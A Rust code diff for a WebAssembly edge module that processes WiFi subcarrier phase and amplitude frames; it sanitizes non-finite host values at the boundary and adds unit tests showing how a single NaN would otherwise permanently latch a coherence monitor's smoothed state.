@@ -650,8 +679,10 @@ pub extern "C" fn on_frame(n_subcarriers: i32) {
|
||||
|
||||
for i in 0..max_sc {
|
||||
unsafe {
|
||||
phases[i] = host_get_phase(i as i32);
|
||||
amps[i] = host_get_amplitude(i as i32);
|
||||
// Sanitize at the boundary: a non-finite host value would otherwise
|
||||
// latch NaN into the gesture/coherence/anomaly persistent state.
|
||||
phases[i] = sanitize_host_f32(host_get_phase(i as i32));
|
||||
amps[i] = sanitize_host_f32(host_get_amplitude(i as i32));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -677,10 +708,71 @@ pub extern "C" fn on_frame(n_subcarriers: i32) {
|
||||
pub extern "C" fn on_timer() {
|
||||
// Periodic summary.
|
||||
let state = unsafe { &*core::ptr::addr_of!(STATE) };
|
||||
let motion = unsafe { host_get_motion_energy() };
|
||||
let motion = sanitize_host_f32(unsafe { host_get_motion_energy() });
|
||||
emit(event_types::CUSTOM_METRIC, motion);
|
||||
|
||||
if state.frame_count % 100 == 0 {
|
||||
log_msg("wasm-edge: heartbeat");
|
||||
}
|
||||
}
|
||||
|
||||
// ── Boundary-hardening tests (ADR-040) ───────────────────────────────────────
|
||||
|
||||
#[cfg(test)]
|
||||
mod boundary_tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn sanitize_passes_finite_values_through() {
|
||||
assert_eq!(sanitize_host_f32(0.0), 0.0);
|
||||
assert_eq!(sanitize_host_f32(-3.5), -3.5);
|
||||
assert_eq!(sanitize_host_f32(1234.5), 1234.5);
|
||||
assert_eq!(sanitize_host_f32(f32::MIN), f32::MIN);
|
||||
assert_eq!(sanitize_host_f32(f32::MAX), f32::MAX);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sanitize_maps_non_finite_to_zero() {
|
||||
// NaN / ±∞ from a buggy or hostile host must not reach module state.
|
||||
assert_eq!(sanitize_host_f32(f32::NAN), 0.0);
|
||||
assert_eq!(sanitize_host_f32(f32::INFINITY), 0.0);
|
||||
assert_eq!(sanitize_host_f32(f32::NEG_INFINITY), 0.0);
|
||||
// A subnormal-resulting NaN (0.0 * inf) is also caught.
|
||||
assert_eq!(sanitize_host_f32(0.0f32 * f32::INFINITY), 0.0);
|
||||
}
|
||||
|
||||
/// Demonstrates the downstream hazard the boundary guard prevents:
|
||||
/// feeding a raw NaN phase into a persistent module permanently latches
|
||||
/// its smoothed state, whereas a boundary-sanitized 0.0 keeps it healthy.
|
||||
#[test]
|
||||
fn coherence_monitor_nan_latches_without_sanitize_but_not_with() {
|
||||
use crate::coherence::CoherenceMonitor;
|
||||
|
||||
// Without sanitize: a single NaN frame poisons the EMA forever.
|
||||
let mut poisoned = CoherenceMonitor::new();
|
||||
poisoned.process_frame(&[0.1, 0.2, 0.3]); // init
|
||||
let _ = poisoned.process_frame(&[f32::NAN, 0.2, 0.3]); // raw host NaN
|
||||
// Subsequent *clean* frames can never restore a finite score.
|
||||
for _ in 0..50 {
|
||||
poisoned.process_frame(&[0.1, 0.2, 0.3]);
|
||||
}
|
||||
assert!(
|
||||
poisoned.coherence_score().is_nan(),
|
||||
"raw NaN should latch the smoothed coherence (documents the hazard)"
|
||||
);
|
||||
|
||||
// With the boundary guard applied (what on_frame now does), the NaN is
|
||||
// mapped to a finite value before it ever reaches the module.
|
||||
let mut guarded = CoherenceMonitor::new();
|
||||
let f = |x: f32| sanitize_host_f32(x);
|
||||
guarded.process_frame(&[f(0.1), f(0.2), f(0.3)]); // init
|
||||
let _ = guarded.process_frame(&[f(f32::NAN), f(0.2), f(0.3)]);
|
||||
for _ in 0..50 {
|
||||
guarded.process_frame(&[f(0.1), f(0.2), f(0.3)]);
|
||||
}
|
||||
assert!(
|
||||
guarded.coherence_score().is_finite(),
|
||||
"boundary-sanitized input keeps the module state finite"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user